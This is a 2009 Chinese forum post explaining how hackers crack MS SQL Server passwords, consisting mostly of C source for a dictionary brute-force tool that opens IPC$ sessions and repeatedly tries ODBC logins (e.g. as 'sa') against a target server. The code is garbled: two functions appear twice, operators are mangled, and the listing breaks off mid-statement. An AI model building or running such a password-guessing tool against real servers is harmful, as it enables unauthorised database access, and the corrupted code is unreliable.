江西广告网

标题: 黑客是如何破解MS SQL SERCVER密码的 [打印本页]

作者: 主人    时间: 2009-1-20 09:22
标题: 黑客是如何破解MS SQL SERCVER密码的
  此程序只作技术交流之用,如用于不法用途,作者不负任何责任!!      这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。      //程序所用到的头文件      //定义全局变量   char dict[20000][40],//准备探测的密码   UserName[40],//用户名   target[40],//目标服务器   passwd[40];//已经探测出来的正确密码   int total=0;//字典里面单词数量   BOOL Cracked=FALSE;//探测密码成功时此值为TRUE      //   //函数:usage   //功能:显示程序帮助信息   //   void usage()   {   printf("\nPower by analyzer〈inmiao@163.com〉"   "\nhttp://www.infocn.com"   "\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"   "\nExample:SQLCrack 192.168.0.1 sa c:\\pwd.dic 50\n");   return;   }   //   //函数:ReadDic   //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码   //说明:函数运行失败返回值1,成功返回0   //   int ReadDic(char *dic)   {   FILE *fp;   char tmp[40];      //打开字典文件   if((fp=fopen(dic,"r"))==NULL)   {   printf("\nCan't open %s",dic);   return 1;   }      while(!feof(fp))   {   //读取数据到临时变量   if(fgets(tmp,40,fp)==NULL)   break;   //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了   strncpy(dict[total],tmp,strlen(tmp)-1);   total ;   //因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环   //不然就会溢出啦.可以自行调准   if(total〉=20000)   break;   }   fclose(fp);   return 0;   }      //   //函数:ConnIPC   //功能:建立IPC连接   //说明:连接失败返回值1,成功返回值0   //   int ConnIPC(char *RemoteName)   {   NETRESOURCE nr;   DWORD flags=CONNECT_UPDATE_PROFILE;   TCHAR RN[30]="\\\\",   LN[5]="";      strcat(RN,RemoteName);   strcat(RN,"\\ipc$");      //填充数据结构   nr.dwType=RESOURCETYPE_DISK;   nr.lpLocalName=(LPTSTR)&LN;   nr.lpRemoteName=(LPTSTR)&RN;   nr.lpProvider=NULL;      if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)   {   return 0;   }   else   {   return 1;   }   }   //   //函数elIPC   //功能:断开IPC Session   //说明:成功返回值0,否则返回1   //   int DelIPC(char *RemoteName)   {   DWORD ret;   TCHAR lpName[30]="\\\\";      strcat(lpName,RemoteName);   strcat(lpName,"\\ipc$");      ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);   if(ret==NO_ERROR)   {   return 0;   }   else   {   return 1;   }   }   //   //函数SQLCheck   //功能:尝试用不同密码连接SQL Server,探测出正确的密码   //   DWORD WINAPI SQLCheck(PVOID pPwd)   {   //定义局部变量   char szBuffer[1025];   char *pwd;   SWORD swStrLen;   SQLHDBC hdbc;   SQLHANDLE henv;   SQLRETURN retcode;//ODBC API运行返回值   SCHAR ConnStr[200];//连接数据库字符串      //取得传递过来准备探测的密码   pwd=(char *)pPwd;      //构造连接数据库字符   strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");   strcat(ConnStr,target);   strcat(ConnStr,";UID=");   strcat(ConnStr,UserName);   strcat(ConnStr,"WD=");   strcat(ConnStr,pwd);   strcat(ConnStr,";DATABASE=master");   //puts(ConnStr);      //创建数据库应用的环境句柄   if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)   {   printf("\nAllocate environment handle failed.\n");   return 0;   }   //printf("henv..");   //设置ODBC版本环境   if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)   SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)   {   printf("\nSet the ODBC version environment attribute failed.\n");   SQLFreeHandle(SQL_HANDLE_ENV, henv);   return 0;   }   //printf("ODBC ver..");   //创建连接句柄   if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR   *)&hdbc)) != SQL_SUCCESS)   {   printf("\nAllocate connection handle failed.\n");   SQLFreeHandle(SQL_HANDLE_ENV, henv);   return 0;   }   //printf("hdbc..");   //连接数据源   retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),   szBuffer,sizeof(szBuffer),&swStrLen,   SQL_DRIVER_COMPLETE_REQUIRED);   //printf("conn..");   if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)   {   //连接失败,函数终止   //printf("\nCouldn't connect to %s MSSQL server.\n",target);   SQLFreeHandle(SQL_HANDLE_DBC, hdbc);   SQLFreeHandle(SQL_HANDLE_ENV, henv);   return 0;   }   //连接远程MSSQL Server数据库成功   Cracked=TRUE;   strcpy(passwd,pwd);   //puts(szBuffer);   //显示连接远程数据库的字符串      //断开连接   SQLDisconnect(hdbc);   //printf("disconn..");   //释放连接句柄   SQLFreeHandle(SQL_HANDLE_DBC, hdbc);   //printf("free hdbc..");   //释放环境句柄   SQLFreeHandle(SQL_HANDLE_ENV, henv);   //printf("free henv..\n");      return 0;   }   //   //函数elIPC   //功能:断开IPC Session   //说明:成功返回值0,否则返回1   //   int DelIPC(char *RemoteName)   {   DWORD ret;   TCHAR lpName[30]="\\\\";      strcat(lpName,RemoteName);   strcat(lpName,"\\ipc$");      ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);   if(ret==NO_ERROR)   {   return 0;   }   else   {   return 1;   }   }   //   //函数SQLCheck   //功能:尝试用不同密码连接SQL Server,探测出正确的密码   //   DWORD WINAPI SQLCheck(PVOID pPwd)   {   //定义局部变量   char szBuffer[1025];   char *pwd;   SWORD swStrLen;   SQLHDBC hdbc;   SQLHANDLE henv;   SQLRETURN retcode;//ODBC API运行返回值   SCHAR ConnStr[200];//连接数据库字符串      //取得传递过来准备探测的密码   pwd=(char *)pPwd;      //构造连接数据库字符   strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");   strcat(ConnStr,target);   strcat(ConnStr,";UID=");   strcat(ConnStr,UserName);   strcat(ConnStr,"WD=");   strcat(ConnStr,pwd);   strcat(ConnStr,";DATABASE=master");   //puts(ConnStr);      //创建数据库应用的环境句柄   if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)   {   printf("\nAllocate environment handle failed.\n");   return 0;   }   //printf("henv..");   //设置ODBC版本环境   if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)   SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)   {   printf("\nSet the ODBC version environment attribute failed.\n");   SQLFreeHandle(SQL_HANDLE_ENV, henv);   return 0;   }   //printf("ODBC ver..");   //创建连接句柄   if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR   *)&hdbc)) != SQL_SUCCESS)   {   printf("\nAllocate connection handle failed.\n");   SQLFreeHandle(SQL_HANDLE_ENV, henv);   return 0;   }   //printf("hdbc..");   //连接数据源   retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),   szBuffer,sizeof(szBuffer),& <




欢迎光临 江西广告网 (http://bbs.jxadw.com/) Powered by Discuz! X3.2